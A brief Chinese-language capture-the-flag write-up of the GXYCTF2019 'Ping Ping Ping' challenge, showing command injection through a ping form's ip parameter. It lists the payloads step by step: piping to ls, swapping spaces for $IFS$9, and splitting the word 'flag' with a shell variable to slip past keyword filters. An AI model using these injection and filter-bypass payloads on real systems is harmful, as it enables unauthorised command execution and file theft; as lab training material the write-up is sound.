[GXYCTF2019]Ping Ping Ping

打开页面如下：

按提示输入ip 127.0.0.1

尝试加管道符，查看目录结构，?ip=127.0.0.1|ls

cat查看flag.php

他骂我们，说空格不行。使用其他字符替换空格，?ip=127.0.0.1|cat$IFS$9flag.php

又骂我们，说flag字符串不行，我们先看看index.php，直接审计代码看看怎么绕过，?ip=127.0.0.1|cat$IFS$9index.php

发现这一行会匹配flag四个字符是否按顺序依次出现过。这时我们可以使用变量替换，?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

查看网页源码发现flag